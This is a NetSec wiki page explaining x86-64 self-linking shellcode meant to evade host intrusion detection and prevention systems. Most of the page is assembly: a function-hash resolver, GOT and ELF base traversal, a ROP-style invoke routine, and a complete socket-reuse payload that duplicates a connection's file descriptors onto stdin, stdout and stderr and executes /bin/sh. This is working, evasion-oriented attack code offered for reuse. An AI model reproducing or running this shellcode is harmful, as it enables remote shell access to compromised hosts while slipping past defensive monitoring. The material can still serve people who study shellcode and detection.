Questions about this topic? Sign up to ask in the talk tab.

Shellcode/Dynamic

From NetSec
Revision as of 18:39, 22 November 2012 by LashawnSeccombe (Talk | contribs) (Dynamic shellcode)

Jump to: navigation, search

Dynamic shellcode

Dynamic, or self-linking code is built to evade several types of host-layer countermeasures from security infrastructure (such as HIDS and HIPS engines) that can prevent the execution of traditional 'unlinked' shellcode. Most of these infrastructure components do runtime analysis based on the contents of RAM in both data and executable marked segments.

The C Calling convention's impact

  • The usual format for a system call or libc function invokation:
   function_call(%rax) = function(%rdi,  %rsi,  %rdx,  %r10,  %r8,  %r9)
  • The return value is usually returned into the %rax register.

Because of the above statement, we can see easily when writing a linker that the following registers need not be reserved for function calls before calling them without syscalls:

  %rax, %rbx, %rcx, %rbp, %r11, %r12, %r13, %r14, %r15

Most of these registers can get blown away by different libc functions, however %rbx is reserved for "developer use" by libc. When writing a dynamic linker, function arguments must be preserved so that a developer can easily write dynamically integrated code. To that end, this linker takes %rbx as the base pointer to a library and %rbp for a function hash. This ensures that the developer maintains control over %rax, %rdi, %rsi, %rdx, %r10, %r8, and %r9. The %rcx register is used as the pointer to the invoke_function label. Developers should be aware to preserve this when invoking functions which may destroy the register, or change this by changing the register popped in the __initialize_world label.

Function hashing

  • Additional labels have been added to make this more readable.
 
calc_hash:
 
preserve_regs:
  push %rax
  push %rdx
 
initialize_regs:
  push %rdx
  pop %rax
  cld
 
calc_hash_loop:
  lodsb
  rol $0xc, %edx
  add %eax, %edx
  test %al, %al
  jnz calc_hash_loop
 
calc_done:
  push %rdx
  pop %rsi
 
restore_regs:
  pop %rdx 
  pop %rax
 

Dynamic section traversal to the GOT

 
_start:
  push $0x400130ff
  pop %rbx
  shr $0x8, %ebx
 
 
fast_got:
  mov (%rbx), %rcx
  add 0x10(%rbx), %rcx
 

Extracting a library pointer

 
extract_pointer:
  mov 0x20(%rcx), %rbx
 
 
find_base:
  dec %rbx
  cmpl $0x464c457f, (%rbx)
jne find_base
 

Staging the user defined code

  • Now that a base pointer has been calculated, it is time to stage the developer or user-defined code. To make invoke_function re-usable from a register, a getPc via %rcx is invoked that jumps to the _world label and never returns. The address of invoke_function has then been stored in the %rcx register, allowing developers to access it efficiently.
 
jmp startup
 
__initialize_world:
  pop %rcx
  jmp _world
 
startup:
  call __initialize_world
invoke_function:
  ...
_world:
  ; user-defined code goes here
 

The interface

The runtime linker developed here allows user-defined code to start at the _world label. This example is a small dynamic snippet that when combined with the linker's API equivocates to `exit()':

 
_world:
  push $0x696c4780
  pop %rbp
  xor %rdi, %rdi
  call *%rcx
 

The invoking of functions

 
;
;  Takes a function hash in %rbp and base pointer in %rbx
;  >Parses the dynamic section headers of the ELF64 image
;  >Uses ROP to invoke the function on the way back to the
;  -normal return location
;
;  Returns results of function to invoke.
;
 
invoke_function:
  push %rbp
  push %rbp
  push %rdx
  push %rdi
  push %rax
  push %rbx      
  push %rsi
 
set_regs:
  xor %rdx, %rdx
  push %rbp
  pop %rdi
 
 
copy_base:
  push %rbx
  pop %rbp
 
read_dynamic_section:
  push $0x4c
  pop %rax
  add (%rbx, %rax, 4), %rbx
 
 
check_dynamic_type:
  add $0x10, %rbx
  cmpb $0x5, (%rbx)
  jne check_dynamic_type
 
 
string_table_found:
  mov 0x8(%rbx), %rax       # %rax is now location of dynamic string table
  mov 0x18(%rbx), %rbx      # %rbx is now a pointer to the symbol table.
 
 
check_next_hash:
  add $0x18, %rbx
  push %rdx
  pop %rsi
  xorw (%rbx), %si
  add %rax, %rsi
 
 
calc_hash:
   ...
 
 
check_current_hash:
  cmp %esi, %edi
  jne check_next_hash
 
 
found_hash:
  add 0x8(%rbx,%rdx,4), %rbp
  mov %rbp, 0x30(%rsp)
  pop %rsi
  pop %rbx
  pop %rax
  pop %rdi
  pop %rdx
  pop %rbp
ret
 

The dynamic shell

  • Once added to the linker, this becomes a total of a 270 byte dynamic port of the 115 byte socket-reuse payload. There are a few ways to optimize it that will be left for the reader to discover.
 
_world:
  movl $0xf8cc01f7, %ebp   # hash of getpeername() is in %rbp
  push $0x02
  pop %rdi
 
make_fd_struct:
  lea -0x14(%rsp), %rdx
  movb $0x10, (%rdx)
  lea 0x4(%rdx), %rsi # move struct into rsi
 
loop:
  inc %di
  jz exit
 
stack_fix:
  lea 0x14(%rdx), %rsp
 
get_peer_name:
  sub $0x20, %rsp
  push %rcx
  call *%rcx               # getpeername(counterfd,sockaddr_in)
  pop %rcx
 
check_pn_success:
  test %al, %al
  jne loop
 
  # If we make it here, rbx and rax are 0
check_ip:
  push $0x1b
  pop %r8
  mov $0xfeffff80, %eax
  not %eax
  cmpl %eax, (%rsp,%r8,4)
  jne loop
 
check_port:
  movb $0x35, %r8b
  mov $0x2dfb, %ax
  not %eax
  cmpw %ax,(%rsp, %r8 ,2) # 
  jne loop
 
  push $0x70672750
  pop %rbp                # Function hash of dup2() is in rbp
 
reuse:
  xor %rdx, %rdx
  push %rdx
  push %rdx
  pop %rsi
 
dup_loop:       # redirect stdin, stdout, stderr to socket
  push %rcx
  call *%rcx    # dup2(sockfd,std[err|in|out]);
  pop %rcx
  inc %esi
  cmp $0x4, %esi
  jne dup_loop
 
  movl $0xf66bbb37, %ebp         # Place the function hash for execve() into %rbp
 
  xor %rdi, %rdi
  push %rdi                      
  push %rdi
  pop %rsi                     
  pop %rdx                       # Null out %rdx and %rdx (second and third argument)
  mov $0x68732f6e69622f6a,%rdi   # move 'hs/nib/j' into %rdi
  shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
  push %rdi      
  push %rsp 
  pop %rdi                       # %rdi is now a pointer to '/bin/sh\0'
 
  call *%rcx                     # execve('/bin/sh',0,0);